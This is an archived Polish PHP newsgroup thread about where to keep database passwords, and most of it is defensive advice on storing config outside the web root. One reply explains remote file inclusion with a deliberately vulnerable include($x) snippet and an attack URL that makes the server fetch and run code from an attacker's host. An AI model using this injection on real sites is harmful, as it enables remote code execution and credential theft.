🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: pl.comp.lang.php
10 messages
10 total messages Started by denat 'POPIS/EU Fri, 03 Nov 2017 16:13
baza
#231817
Author: denat 'POPIS/EU
Date: Fri, 03 Nov 2017 16:13
3 lines
958 bytes
gdzie trzymacie hasła do bazy?
jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
czy można dać 700 na plik z hasłem - czy będzie on dostępny?
Re: baza
#231818
Author: Lemat
Date: Fri, 03 Nov 2017 19:07
21 lines
1636 bytes
W dniu 03.11.2017 o 17:13, denat 'POPIS/EU pisze:
> gdzie trzymacie hasła do bazy?

w plikach php

> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?

jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
wszystko to, co mu się podoba.

> czy można dać 700 na plik z hasłem - czy będzie on dostępny?

masz usera, który jest właścicielem pliku
masz usera, który wykonuje plik (www-data,apache2)

aby użytkownik, który wykonuje plik miał możliwość jego wykonania musi 
mieć możliwość jego odczytu.

-- 
Pozdrawiam
Lemat
Re: baza
#231819
Author: denat 'POPIS/EU
Date: Fri, 03 Nov 2017 19:12
7 lines
1084 bytes
> jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
> wszystko to, co mu się podoba.

dzięki, nie ogarniam
więc może po kolei

co to jest php iniection?
Re: baza
#231820
Author: Lemat
Date: Fri, 03 Nov 2017 20:02
23 lines
1627 bytes
W dniu 03.11.2017 o 20:12, denat 'POPIS/EU pisze:
>> jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
>> wszystko to, co mu się podoba.
> 
> dzięki, nie ogarniam
> więc może po kolei
> 
> co to jest php iniection?

jeżeli nasz na serwerze skrypt typu:

<?PHP
include($x);
?>

to włamywacz konstruuje URL: 
http://www.twoja.strona.pl/skrypt.php?x=http://strona.wlamywacza.pl/evil.txt

w ten sposób twój serwer wykona skrypt włamywacza.

-- 
Pozdrawiam
Lemat
Re: baza
#231821
Author: denat 'POPIS/EU
Date: Sat, 04 Nov 2017 10:59
7 lines
1091 bytes
> <?PHP
> include($x);
> ?>

no tak dzięki

ale jeśmli mam tylko takie include("bank_dzolkow/hasla.php");
Re: baza
#231822
Author: Rafal Podsiadly
Date: Sat, 04 Nov 2017 14:24
25 lines
2387 bytes
W dniu piątek, 3 listopada 2017 17:14:00 UTC+1 użytkownik denat 'POPIS/EU napisał:
> gdzie trzymacie hasła do bazy?
> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
> czy można dać 700 na plik z hasłem - czy będzie on dostępny?


Musisz pamiętać o kilku szczegółach. 

1. Ważne by cały serwer szedł tylko i wyłącznie przez jeden plik dla całej aplikacji. Wtedy pozostałe pliki zabezpieczasz przez htaccess. 

2. Jak spełniasz 1 warunek to pliki konfiguracyjne umieszczasz poza webem.
 mniej więcej frameworki przyjmują taką strukturę

\web\index.php >> tutaj konfigurujemy apache jako serwer główny. Lub .htaccess
\config -> konfiguracja aplikacji
\controller -> obsługa zdarzeń
\db -> modele do bazy danych (można rozbić na dwa)
\model -> modele formów
\vendor -> zewnętrzne biblioteki php
\log -> logi aplikacji
\component -> własne moduły które wykorzystujemy w więcej niż jednej aplikacji.

\runtime -> cache aplikacji (np. szablony | style css(skompilowane) js. 

Popatrz sobie jak to wygląda w popularnych frameworkach yii / yii2 / symfony / codeingeren -> wszystko masz na github więc możesz spokojnie popatrzeć w kod. 
Re: baza
#231824
Author: Jivanmukta
Date: Sat, 04 Nov 2017 17:10
10 lines
1388 bytes
W dniu 03.11.2017 17:13, denat 'POPIS/EU pisze:
> gdzie trzymacie hasła do bazy?
> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
> czy można dać 700 na plik z hasłem - czy będzie on dostępny?

Hasło do bazy należy trzymać w pliku umieszczonym w katalogu poza 
public_html (czy też htdocs), tzn. poza dostępem Apache'a. W katalogu 
public_html powinien znajdować się plik rozruchowy index.php wywołujący 
odpowiednie skrypty z katalogu aplikacji. Tak działają frameworki. Na 
początek proponuję CodeIgniter.
Re: baza
#231823
Author: denat 'POPIS/EU
Date: Sat, 04 Nov 2017 18:13
1 lines
952 bytes
dzięki, serwer mam na hostingu
Re: baza
#231825
Author: denat 'POPIS/EU
Date: Sat, 04 Nov 2017 18:14
5 lines
1045 bytes
no żesz w ch...
genialny pomysł w sumie z tym umieszczeniem poza katalogiem
dz.

ale wracając do tematu - czy można jakoś wyssać ten plik z hasłem?
Re: baza
#231826
Author: Rafal Podsiadly
Date: Sun, 05 Nov 2017 14:39
8 lines
2074 bytes
W dniu sobota, 4 listopada 2017 19:15:03 UTC+1 użytkownik denat 'POPIS/EU napisał:
> no żesz w ch...
> genialny pomysł w sumie z tym umieszczeniem poza katalogiem
> dz.
> 
> ale wracając do tematu - czy można jakoś wyssać ten plik z hasłem?

Dodatkowo możesz pokusić się o funkcję klasę zwracająca konfiguracje. tylko w przypadku gdy jest na przykład token .... jak ktoś zapyta o konfiguracje odwoła się do metody congig->getconig to dostanie błąd dostępu.  Dobrze było by mieć wszystkie ustawienia w zmiennych prywatnych i tylko za pomocą metod je czytac pisać .. aby każdy skrypt nie mógł przeglądać konfiguracji tylko tam gdzie jest to potrzebne.
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads